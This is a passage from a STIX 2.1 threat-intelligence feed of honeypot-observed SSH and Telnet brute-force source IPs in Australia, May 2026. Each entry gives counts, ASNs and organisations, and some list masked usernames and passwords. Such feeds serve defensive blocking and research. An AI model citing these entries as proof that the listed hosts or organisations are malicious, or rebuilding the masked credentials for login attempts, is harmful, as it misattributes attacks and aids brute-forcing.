      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.3.218.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--118e7678-873a-497f-8e9e-770100bebc4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.32.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--34141c94-fdd1-471c-be25-f4957ebc91fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.66.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--08a9a4c8-fc95-4b6a-b879-eb36426dc2c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.109.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--23aaf5d4-a4ab-4742-897c-37a46969874d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T14:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PS. ASN(s): 12975. Organisation(s): Palestine Telecommunications Company (PALTEL).",
      "id": "indicator--7c2549ee-514c-4ffc-92de-b93c9b1ea354",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T14:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.205.106.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T14:15:11.000Z",
      "valid_until": "2026-06-23T14:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dee037b3-27d6-486c-bffa-50ac077baa07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.125.128.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5faaa4b5-497a-49cd-9447-a4bb9d38edba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.57.196.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 202660. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): r**t, d****l, 3**********4, a***********r, d****e. Passwords observed (masked): *, ***, 1*******#, 1****6, 2**7.",
      "id": "indicator--f03a3a12-ec8f-447e-bf10-4c9948e7b852",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.94.172.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6d8d5b04-3de2-43be-bcc3-1e01b3d045e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.114.158.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7b9408e2-b055-4d6c-8847-9bf8182fd24f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.218.144.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b5a96b5b-7e9b-4f1e-a2dd-a3f08cb901e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.249.98.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9b5fe6ef-6b4d-48bb-adc8-8e31926e8291",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.165.154.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--fe1f3521-1c5b-4164-aaac-cd53e79443e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.121.170.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): r**t, p******s, u****u. Passwords observed (masked): *, 1******R, 3***********4, A********., A******4.",
      "id": "indicator--67d52f3d-80b1-4ec2-8eab-35c62e1e8d91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.39.204.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 50266. Organisation(s): Odido Netherlands B.V.. Usernames observed (masked): r**t. Passwords observed (masked): H*******6.",
      "id": "indicator--407ccd63-9d26-4b56-b565-5a52d8dde431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.90.65.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--ade93f76-80aa-4a14-b98f-657a18bbb037",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.32.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d230a5dd-a3a8-4d43-9cb6-51e4590710f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.151.74.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9fd0ed0c-7e19-4d49-a0d1-298dbf020fe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.24.90.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZM. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--948cd93f-adff-4cc1-b6ce-98e7a5fd1e43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.236.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--990ddbfa-6551-4de6-9f7e-95c567b75ae5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.238.107.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 201814. Organisation(s): MEVSPACE sp. z o.o.. Usernames observed (masked): r**t, 3**********4, ***, t**t, t**y. Passwords observed (masked): !**************r, 3***********4, 3**********4, A******************************C, B******6.",
      "id": "indicator--7c421211-8e32-4440-80fd-cea282513ca3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.192.12.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:15:10.000Z",
      "valid_until": "2026-06-23T15:15:08.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--83a48270-d58c-4a4f-8ac4-13df600874d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.93.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--ec94e0e9-496c-4ce4-b2d6-8a072d16ac6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.100.172.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--f7c4dd23-ede5-4c61-b40e-4f26e82a115b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.119.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b3e603ad-952c-4fa7-864d-0fdb7f669a6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.63.211.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 263801. Organisation(s): LINKEAR SRL.",
      "id": "indicator--e4e96078-50fd-473f-abc5-d95ab7b31ffc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.78.54.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): m*******t. Passwords observed (masked): m**********3.",
      "id": "indicator--345ed2b6-c6f6-4c70-9463-3f654cc0febb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.81.14.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): H*****s.",
      "id": "indicator--e1aef2df-7668-4830-89f5-dd8c60298fac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '161.97.64.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): r**t, g****b, 3**********4, r*****s, r****r. Passwords observed (masked): ***, 3***********4, 3**********4, M******6, Q**********6.",
      "id": "indicator--0448bb38-b1e1-4957-be93-f394ae0f7d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.60.91.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--83034898-ca9d-4612-a4a7-59d62aa1157b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.242.128.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266962. Organisation(s): G M DA COSTA INTERNET.",
      "id": "indicator--d34f2e00-8b53-493c-a16f-fd49eb0a15de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.226.127.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--a09548d4-5bb1-4736-86f8-1d931b4d6ef2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.29.181.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GR. ASN(s): 25472. Organisation(s): Nova Telecommunications & Media Single Member S.A.",
      "id": "indicator--698f1e6f-1a9e-44a6-a693-f4fc8b2ccb48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.140.51.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--98fb0b90-77d1-4455-bf31-d4a59988ca21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.59.0.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T16:15:11.000Z",
      "valid_until": "2026-06-23T16:15:09.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): a***n, r**t, 3**********4, s****n. Passwords observed (masked): 3***********4, 3**********4, H******6, a*******3, c**********1.",
      "id": "indicator--4af03a5b-4558-4170-90da-0c8665fd1327",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-22T17:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.187.146.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:15:11.000Z",
      "valid_until": "2026-06-23T17:15:08.000Z"
    },
    {
      "created": "2026-05-22T17:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134286. Organisation(s): Net for Choice.",
      "id": "indicator--dbd2d1a2-04d4-40ed-a698-fd6fb653e261",
      "labels": [
        "bruteforce"
